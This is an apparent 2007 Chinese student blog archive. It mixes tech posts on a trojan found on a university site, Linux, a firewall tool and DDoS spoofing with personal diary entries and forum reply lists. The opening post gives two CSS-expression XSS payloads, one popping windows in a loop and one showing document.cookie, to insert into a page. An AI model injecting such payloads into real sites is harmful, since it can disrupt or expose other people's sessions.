XSS的跨站
如下语句加入到自己的涂鸦里去 ，<DIV STYLE="width: expression(window.open('http://www.baidu.com'));">
这句会弹出窗口，死循环
<DIV STYLE="width: expression(alert(document.cookie));">
这句弹出你的cookie
spark
2007-01-26
2007年1月26日星期五
2007年1月15日星期一
中国人民大学网站 孔子在线有木马，请勿打开
孔子在线地址：http://confucian.ruc.edu.cn/
本来是要看看孔子老人家的，结果我的装备发出警告，有马。
查看原文件搜索frame，找到一个宽0高0的框架，
<iframe src="chn/conn.htm" width="0" height="0"></iframe>
无疑，是个木马了。
手头没工具，无法对木马进行分析，不过看似一个弱智弱智的东东了
用记事本把该自动要执行的木马打开，发现如下字段
[GOLDSUN@84823714.qq]
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Roshal.WinRAR.WinRAR" type="win32" /> <description>WinRAR archiver.</description> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /> </dependentAssembly> </dependency> </assembly>
这样看来，儒家孔子都在网上散毒了，厉害，先进文化。
张建伟
2007-01-15
2007年1月14日星期日
2007年1月12日星期五
我用BIOS和CMOS看linux，BS一下某些人
用linux一段时间了，说说我眼里的linux。
首先，他是免费的，用着踏实，我的笔记本带的是windows xp home正版，但是不能做ASP服务器用，因为装不了IIS。
我是不愿意用盗版软件的。
所以我选择linux，我认为是个男人，就应该用用linux，因为他是一个需要探索，有挑战的操作系统。
用过计算机的都知道计算机有个BOIS和CMOS.我再讲讲两者的区别，因为我要说的linux的知识和这及其的相似。
BIOS是basic input/output system缩写，即基本输入输出系统，严格的说他也是个"操作系统"了，他"操作的是主板上的基本输入输出"
他是一个程序，固化在主板上的一个芯片里（具体在哪个芯片里就不说了，你知道他在哪里也没用 ，关键是你要知道他是个程序），他是一个程序 ，控制输入输出等的一个程序，只是一个程序。
程序是说明 ？？程序就是一对可以在cpu里执行的代码，那么这里的BOIS就是指固化在主板芯片里的一对可以执行的代码，他是个程序。
大部分程序有参数，比如最简单的cd 命令，他的参数就是后面的目录路径名，:-)。那么BIOS这个程序也是有参数的，而且，有很多的参数。以不同的参数去执行一个程序可以得到不同的结果，BOIS的参数
放在一个叫CMOS的芯片里，可以修改这些参数来配置BOIS，就是说这些CMOS芯片里的内容是可以修改的，要修改这些参数？？一般开机的时候按DEL键可以进去修改的
还可以设置密码（都应该知道吧？），这些数据被修改后就保存在那块叫CMOS的芯片里，给这个芯片不间断供电（？废话，肯定用电池），然后数据就可以长期保存，刚才说到的密码就可以长时期的保存在芯片里，每次电脑开机或者开机后你想进去设置CMOS参数，BIOS程序执行的时候调用这些参数，如果设置了密码了，这是就会出现提示请你输入密码（分两种密码，一个管你能否进CMOS设置，另一个管你能否进入操作系统。想知道如何设置的自己上网查），说到这里，你应该知道怎么杨破解这类密码了吧？？你把那个主板上的电池拆下来，CMOS里的参数就恢复到出厂设置了 ，就 没密码了。。
说了一大堆，就是说，BIOS是个程序，CMOS里方的是程序的参数。
那么来看 linux（如果你看明白了上面的）
linux分为内核和系统配置文件 ，这里 把 内核理解成BIOS程序，那么配置文件就是CMOS。
理解了没？？
有的人会配置个apache了，会修改修改系统配置文件，会简单使用linux进行娱乐和工作了 ，就 说 自己"懂"、"会"linux了（比如我），
强烈BS一下这种人，这和你只会修改CMOS却不会用 windows一个道理
你若不明白内核，就好比不会使用windows，
一个只会配置CMOS的人说自己会*****。
再狠狠BS一下。
zjw0358
2007-01-12
2007年1月11日星期四
2007年1月10日星期三
2007年1月9日星期二
2007年1月8日星期一
抛弃杀毒软件
杀毒软件的缺点：
1、电脑变的特别的慢
2、新的病毒杀不出来
3、杀毒经常杀的正常的东西都不能哟你过了，或者系统崩溃（卡巴斯基经常干这事）
4、价格不菲
5、不上网的计算机无法升级病毒库
略。
有上面五条理由，足够让我们恨杀毒软件了。
有下面的理由，足够让你抛弃所有的杀毒软件了。
我就不说技术方面的了，若有机会听我的课，会专门讲这个。
我提到的是一款免费软件：system sae monitor（http://www.syssafety.com/files.html）
SSM属于一款应用层的"防火墙"程序，
家引号的意思是说明，他并 不是传统意义上的防火墙。
这个软件可以设置详细的规则，除去规则允许的，其他所有程序，或者消息调用，
都被ssm禁止，ssm驱动加载，工作在ring0层，可随系统启动而加载。
这样，除掉你认为正确的程序，其他的一概默认拒绝。
SSM对规则里的程序采用md5值校验，确保了程序不会被恶意软件替换，或者被病毒感染。
SSM对系统占用很小，所以电脑用起来不会像装了杀毒后那样卡
而且这款软件有完全免费的版本，也不需要升级。目前为止，还没遇到过任何病毒可以攻破该"防火墙"
我自己笔记本上装了SSM，已经整一年了，没有中过病毒，深有体会。强烈推荐。
zjw0358
2007-01-08
如此 X
我所对生活的热爱终于爆发，取代一贯占据我内心的绝望。
除了归功与爱我的朋友和亲人外
还要特别感谢最近两个月来 x-japan对我的影响
我听的最多的是
endless rain
say anything
unfinishied
weekend
forever love
tears
x-japan的音乐，以死亡和绝望著称
只可惜的是
听到现在
却与原本网络上所说的完全相反
我所从音乐里感受到的
将我的生命带到一个前所未有的高度
将我对生活生命的困惑一扫而空
当对绝望和悲哀有所了解后
反倒觉得他不算什么了
再回去听许巍的青鸟
居然也和 听 week end一样激情澎湃
也是在这个时候
我所爱着的
我愿意放弃我一切去追求的女孩
第三次拒绝我
事不过三
我决定尊重她的选择
没有痛苦
依然是甜蜜，兴奋
让我感觉不到瞌睡
感谢这个女孩，给我的生活带来很多精彩
我们会是很好的朋友
我现在想不起来丝毫隔阂
那种友情居然经过追求变得神圣
依然激动
依然心情澎湃
熄灯了
我在邮箱里写下这些
晚安
zjw0358
2007-01-07
2007年1月6日星期六
为什么你对自己的不自信那么的自信?
你那么自信的告诉我说你不自信，你对你的不自信是那么的自信。你怎么可以说你不自信呢？
每当你相信"我能做到时"，自然会想出如何行动如何做的方法，如果达到坚信的程度，你就会勇往直前，不达目标决不罢休。要充分利用大脑潜意识不实真假的特征，将完全积极正面自信的信息不停的灌输给他。这些信息一旦被潜意识确认之后，你自然的就会信心十足。
zjw0358
2007-01-06
linux重新编译内核
找到内核源代码
只重新编译的话，cd命令跳转到/usr/src/linux目录下
运行命令 make menuconfig
该命令将导致内核配置界面开始运行。
在内核中有很多选项，选项被有层次地组织好了。
当为一台新计算机编译内核时，不论你是老手还是新手，
最大的障碍就是你不知道要包含哪些选项，我们要花费不少的时间来检测计算机所使用的硬件
从而确定内核所需要的驱动程序。
在便宜内核时，有些过程您不得不猜测，有些有根据可循
而有些则不可。优秀的内核维护技巧和不段尝试的勇气对于便宜内核来说都是非常重要的。
zjw0358
2007-01-06
不代表本人目前想法，客观记录
就会想起她，甜蜜 然后就会想起被拒绝 然后就是想起寒冷 然后就告诉自己，不要去想了 然后就很心痛 然后就会不睡觉 不睡觉就是指连续的通宵 白天晚上的不休息 折腾上几天累了 一休息，满脑子就又是她 幸运的是，这个学期很忙 狠忙 惆怅啊 |
---------------------------------------------------------------------------------------------
回复:关于农大就业率的问题,跟大家交代一下
汗啊,又把实话说了,, 希望学校别再虚伪,, 现在是个人都知道大学毕业找工作很难了,学校还那样对外公布数据
汗啊,又把实话说了,, 希望学校别再虚伪,, 现在是个人都知道大学毕业找工作很难了,学校还那样对外公布数据
唉,千学万学学做真人啊.
| 1 | 不懂懦弱这个词语的意思的来看看 | |
| ||
| 作者： 农大张建伟 封 2006-12-16 01:07 回复此发言 删除 | ||
| |
| 2 | 回复：不懂懦弱这个词语的意思的来看看 | |
| | ||
| 作者： 60.223.37.* 封 2006-12-16 15:54 |
---------------------------------------------------------------------------------------------------
| 回复：留下你最近的心情（２）－－把这个一直延续下去好吗！ | ||
| | ||
| 作者： 丫丫1221 封 2006-7-13 11:00 回复此发言 删除 | ||
| |
| 12 | 回复：留下你最近的心情（２）－－把这个一直延续下去好吗！ | |
| | ||
| 作者： ぁ呐呐あ 封 2006-7-13 16:44 回复此发言 删除 | ||
| |
| 13 | 回复：留下你最近的心情（２）－－把这个一直延续下去好吗！ | |
| ||
| 作者： 221.131.61.* 封 2006-7-14 08:48 回复此发言 删除 | ||
| |
| 14 | 回复：留下你最近的心情（２）－－把这个一直延续下去好吗！ | |
| ||
| 作者： 蓝色用情 封 2006-7-14 09:58 回复此发言 删除 | ||
| |
| 15 | 回复：留下你最近的心情（２）－－把这个一直延续下去好吗！ | |
| | ||
| 作者： 60.223.100.* 封 2006-7-15 14:11 回复此发言 删除 | ||
| |
| 16 | 回复：留下你最近的心情（２）－－把这个一直延续下去好吗！ | |
| | ||
| 作者： 124.165.142.* 封 2006-12-16 00:26 回复此发言 删除 | ||
| |
| 17 | 回复：留下你最近的心情（２）－－把这个一直延续下去好吗！ | |
| ||
| 作者： 农大张建伟 封 2006-12-16 01:03 |
-----------------------------------------------------------------------------------------------------
| 1 | 爱具体是什么? | |
| | ||
| 作者： 农大张建伟 封 2006-8-12 17:01 回复此发言 删除 | ||
| |
| 2 | 回复：爱具体是什么? | |
| ||
| 作者： 农大张建伟 封 2006-8-12 17:04 回复此发言 删除 | ||
| |
| 3 | 回复：爱具体是什么? | |
| ||
| 作者： 60.223.36.* 封 2006-8-12 18:49 回复此发言 删除 | ||
| |
| 4 | 回复：爱具体是什么? | |
| | ||
| 作者： anyiningning 封 2006-8-12 19:27 |
-----------------------------------------------------------------------------------------------
| 1 | 告诉各位认识我的好朋友，我恋爱了 | |
| ||
| 作者： 农大张建伟 封 2006-6-23 13:37 回复此发言 删除 | ||
| |
| 2 | 黑客 | |
| ||
| 作者： 农大张建伟 封 2006-6-23 13:49 回复此发言 删除 | ||
| |
| 3 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| ||
| 作者： 农大张建伟 封 2006-6-23 13:50 回复此发言 删除 | ||
| |
| 4 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| ||
| 作者： deadkook 封 2006-6-23 15:54 回复此发言 删除 | ||
| |
| 5 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| ||
| 作者： 孤行007 封 2006-6-23 16:36 回复此发言 删除 | ||
| |
| 6 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| | ||
| 作者： 孤行007 封 2006-6-23 16:36 回复此发言 删除 | ||
| |
| 7 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| ||
| 作者： 218.26.206.* 封 2006-6-24 13:15 回复此发言 删除 | ||
| |
| 8 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| | ||
| 作者： 逝水无痕jane 封 2006-6-26 21:20 回复此发言 删除 | ||
| |
| 9 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| | ||
| 作者： shuaige929 封 2006-6-27 17:45 回复此发言 删除 | ||
| |
| 10 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| ||
| 作者： 60.223.96.* 封 2006-6-28 16:01 回复此发言 删除 | ||
| |
| 11 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| | ||
| 作者： 没尾巴的小猫 封 2006-6-29 13:55 回复此发言 删除 | ||
| |
| 12 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| | ||
| 作者： 糖���勰��� 封 2006-6-29 20:04 回复此发言 删除 | ||
| |
| 13 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| | ||
| 作者： ぁ某龙あ 封 2006-7-1 13:04 回复此发言 删除 | ||
| |
| 14 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| | ||
| 作者： 糖���勰��� 封 2006-7-1 13:12 回复此发言 删除 | ||
| |
| 15 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| ||
| 作者： 60.223.100.* 封 2006-7-1 21:42 回复此发言 删除 | ||
| |
| 16 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| ||
| 作者： 没尾巴的小猫 封 2006-7-6 11:35 回复此发言 删除 | ||
| |
| 17 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| ||
| 作者： 218.26.206.* 封 2006-7-6 13:28 回复此发言 删除 | ||
| |
| 18 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| | ||
| 作者： ぁ某龙あ 封 2006-7-11 11:20 回复此发言 删除 | ||
| |
| 19 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| ||
| 作者： 丫丫1221 封 2006-7-13 11:09 回复此发言 删除 | ||
| |
| 20 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| | ||
| 作者： 寂寞让我美丽a 封 2006-7-19 20:32 回复此发言 删除 | ||
| |
| 21 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| ||
| 作者： 农大张建伟 封 2006-7-21 16:40 回复此发言 删除 | ||
| |
| 22 | 回复：告诉各位认识我的好朋友，我恋爱了 | |
| | ||
| 作者： 天乐无忧 封 2006-8-25 04:11 |
--------------------------------------------------------------------------------------------
以后 我在这个方面多做研究 帮大家解决问题 也帮我 自己 呵呵 爱一 个人好难啊 有的时候,说都不让说, 表达一 下都比较难 不知道该怎么行动 |
--------------------------------------------------------------------------------------------------------
zjw0358
2007-01-04
DDOS起因
在数据包一级，识别IP数据包发送者的唯一方法就是通过数据包头中的源地址。
这个事实给源地址欺骗提供了可能，在源地址欺骗中发送者在源地址字段放置了一个不是他自己地址的不正确地址。
这个地址可能是根本不存在的地址，也可能是一个属于他人的合法地址，源地址欺骗可以假扮成本地的合法数据流进入你的系统，
当攻击其他网站时显示的是你的地址，同时攻击你的站点时又假扮其他人的地址，使你的系统疲于响应不存在的地址而一直处于停顿的状态
或者导致你响应错误的入站信息的源地址。
切记一点，你通常无法检测出欺骗地址，这些地址可能都是合法的而且可以路由，但是不属于数据包的发送者。
zjw0358
2007-01-04
不管对错，都是自己走过的路
| ||
| 作者： 农大张建伟 封 2006-12-27 19:29 回复此发言 删除 | ||
| |
| 2 | 回复：大学四年,第一次笑 | |
| ||
| 作者： 农大张建伟 封 2006-12-27 19:40 回复此发言 删除 | ||
| |
| 4 | 回复：大学四年,第一次笑 | |
| ||
| 作者： 农大张建伟 封 2006-12-27 19:45 回复此发言 删除 | ||
| |
| 5 | 回复: | |
| | ||
| 作者： 211.138.100.* 封 2006-12-27 20:18 回复此发言 删除 | ||
| 这条留言是通过手机发表的，我也要用手机发表留言！ | ||
| |
| 6 | 回复：大学四年,第一次笑 | |
| ||
| 作者： 贺正辉 封 2006-12-27 20:49 回复此发言 删除 | ||
| |
| 7 | 回复：大学四年,第一次笑 | |
| | ||
| 作者： 218.26.206.* 封 2006-12-27 21:23 回复此发言 删除 | ||
| |
| 8 | 回复：大学四年,第一次笑 | |
| | ||
| 作者： 放舞咪咪 封 2006-12-27 21:37 回复此发言 删除 | ||
| |
| 9 | 回复：大学四年,第一次笑 | |
| ||
| 作者： 贺正辉 封 2006-12-27 22:09 回复此发言 删除 | ||
| |
| 10 | 回复：大学四年,第一次笑 | |
| | ||
| 作者： 爱船的子竹 封 2006-12-27 23:19 回复此发言 删除 | ||
| |
| 11 | 回复：大学四年,第一次笑 | |
| ||
| 作者： 爱船的子竹 封 2006-12-27 23:20 回复此发言 删除 | ||
| |
| 12 | 回复：大学四年,第一次笑 | |
| ||
| 作者： 218.26.206.* 封 2006-12-28 15:05 回复此发言 删除 | ||
| |
| 13 | 回复：大学四年,第一次笑 | |
| | ||
| 作者： 口服液31 封 2006-12-29 09:39 回复此发言 删除 | ||
| |
| 14 | 回复: | |
| | ||
| 作者： 沉底的死鱼 封 2006-12-29 10:42 回复此发言 删除 | ||
| 这条留言是通过手机发表的，我也要用手机发表留言！ | ||
| |
| 15 | 回复：大学四年,第一次笑 | |
| ||
| 作者： 221.204.249.* 封 2006-12-29 11:27 回复此发言 删除 | ||
| |
| 16 | 回复：大学四年,第一次笑 | |
| | ||
| 作者： 221.204.206.* 封 2006-12-29 15:51 回复此发言 删除 | ||
| |
| 17 | 回复：大学四年,第一次笑 | |
| ||
| 作者： 218.26.206.* 封 2006-12-30 00:43 回复此发言 删除 | ||
| |
| 18 | 回复：大学四年,第一次笑 | |
| | ||
| 作者： 放舞咪咪 封 2006-12-30 11:03 回复此发言 删除 | ||
| |
| 19 | 回复：大学四年,第一次笑 | |
| | ||
| 作者： 农大张建伟 封 2006-12-30 11:07 回复此发言 删除 | ||
| |
| 20 | 回复：大学四年,第一次笑 | |
| | ||
| 作者： 口服液31 封 2006-12-30 11:30 回复此发言 删除 | ||
| |
| 21 | 回复：大学四年,第一次笑 | |
| ||
| 作者： ぁ某龙あ 封 2006-12-31 11:46 回复此发言 删除 | ||
| |
| 22 | 回复：大学四年,第一次笑 | |
| ||
| 作者： 60.223.86.* 封 2006-12-31 12:56 回复此发言 删除 | ||
| |
| 23 | 回复：大学四年,第一次笑 | |
| | ||
| 作者： 60.223.37.* 封 2006-12-31 16:37 回复此发言 删除 | ||
| |
| 25 | 回复：大学四年,第一次笑 | |
| ||
| 作者： 农大张建伟 封 2007-1-4 00:31 回复此发言 删除 |
订阅：
博文 (Atom)